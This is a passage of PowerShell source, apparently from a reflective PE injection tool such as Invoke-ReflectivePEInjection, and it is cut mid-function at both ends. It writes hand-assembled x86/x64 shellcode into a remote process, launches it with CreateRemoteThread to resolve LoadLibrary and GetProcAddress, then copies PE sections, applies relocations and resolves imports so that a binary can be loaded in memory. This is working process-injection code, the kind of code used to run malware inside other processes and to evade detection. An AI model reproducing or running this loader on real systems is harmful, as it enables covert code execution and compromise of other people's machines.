[UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) { Throw "Unable to write shellcode to remote process memory." } $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { Throw "Call to CreateRemoteThread to call GetProcAddress failed." } [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) if ($Result -eq $false) { Throw "Call to ReadProcessMemory failed" } [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null } else { [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { Throw "Call to CreateRemoteThread to call GetProcAddress failed." } [Int32]$ExitCode = 0 $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) if (($Result -eq 0) -or ($ExitCode -eq 0)) { Throw "Call to GetExitCodeThread failed" } [IntPtr]$DllAddress = [IntPtr]$ExitCode } $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null return $DllAddress } Function Get-RemoteProcAddress { Param( [Parameter(Position=0, Mandatory=$true)] [IntPtr] $RemoteProcHandle, [Parameter(Position=1, Mandatory=$true)] [IntPtr] $RemoteDllHandle, [Parameter(Position=2, Mandatory=$true)] [String] $FunctionName ) $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) $FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName) $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) if ($RFuncNamePtr -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process" } [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) [System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr) if ($Success -eq $false) { Throw "Unable to write DLL path to remote process memory" } if ($FunctionNameSize -ne $NumBytesWritten) { Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" } $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) if ($GetProcAddressRetMem -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" } [Byte[]]$GetProcAddressSC = @() if ($PEInfo.PE64Bit -eq $true) { $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) $GetProcAddressSC2 = @(0x48, 0xba) $GetProcAddressSC3 = @(0x48, 0xb8) $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) } else { $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) $GetProcAddressSC2 = @(0xb9) $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) } $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) $SCPSMemOriginal = $SCPSMem Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) if ($RSCAddr -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process for shellcode" } $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) { Throw "Unable to write shellcode to remote process memory." } $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { Throw "Call to CreateRemoteThread to call GetProcAddress failed." } [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) { Throw "Call to ReadProcessMemory failed" } [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null return $ProcAddress } Function Copy-Sections { Param( [Parameter(Position = 0, Mandatory = $true)] [Byte[]] $PEBytes, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $PEInfo, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Functions, [Parameter(Position = 3, Mandatory = $true)] [System.Object] $Win32Types ) for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) { [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) $SizeOfRawData = $SectionHeader.SizeOfRawData if ($SectionHeader.PointerToRawData -eq 0) { $SizeOfRawData = 0 } if ($SizeOfRawData -gt $SectionHeader.VirtualSize) { $SizeOfRawData = $SectionHeader.VirtualSize } if ($SizeOfRawData -gt 0) { Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) } if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) { $Difference = $SectionHeader.VirtualSize - $SizeOfRawData [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null } } } Function Update-MemoryAddresses { Param( [Parameter(Position = 0, Mandatory = $true)] [System.Object] $PEInfo, [Parameter(Position = 1, Mandatory = $true)] [Int64] $OriginalImageBase, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Constants, [Parameter(Position = 3, Mandatory = $true)] [System.Object] $Win32Types ) [Int64]$BaseDifference = 0 $AddDifference = $true [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) { return } elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) { $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) $AddDifference = $false } elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) { $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) } [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) while($true) { $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) if ($BaseRelocationTable.SizeOfBlock -eq 0) { break } [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 for($i = 0; $i -lt $NumRelocations; $i++) { $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF [UInt16]$RelocType = $RelocationInfo -band 0xF000 for ($j = 0; $j -lt 12; $j++) { $RelocType = [Math]::Floor($RelocType / 2) } if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) { [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) if ($AddDifference -eq $true) { [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) } else { [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) } [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null } elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) { Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" } } $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) } } Function Import-DllImports { Param( [Parameter(Position = 0, Mandatory = $true)] [System.Object] $PEInfo, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Functions, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Types, [Parameter(Position = 3, Mandatory = $true)] [System.Object] $Win32Constants, [Parameter(Position = 4, Mandatory = $false)] [IntPtr] $RemoteProcHandle ) $RemoteLoading = $false if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) { $RemoteLoading = $true } if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) { [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) while ($true) { $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) if ($ImportDescriptor.Characteristics -eq 0 ` -and $ImportDescriptor.FirstThunk -eq 0 ` -and $ImportDescriptor.ForwarderChain -eq 0 ` -and $ImportDescriptor.Name -eq 0 ` -and $ImportDescriptor.TimeDateStamp -eq 0) { break } $ImportDllHandle = [IntPtr]::Zero $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) if ($RemoteLoading -eq $true) { $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr } else { $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) } if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) { throw "Error importing DLL, DLLName: $ImportDllPath" } [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) while ($OriginalThunkRefVal -ne [IntPtr]::Zero) { $ProcedureName = '' [IntPtr]$NewThunkRef = [IntPtr]::Zero if([Int64]$OriginalThunkRefVal -lt 0) { $ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal } else { [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) } if ($RemoteLoading -eq $true) { [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName } else { if($ProcedureName -is [string]) { [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) } else { [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressOrdinal.Invoke($ImportDllHandle, $ProcedureName) } } if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) { Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" } [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) } $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) } } } Function Get-VirtualProtectValue { Param( [Parameter(Position = 0, Mandatory = $true)] [UInt32] $Secti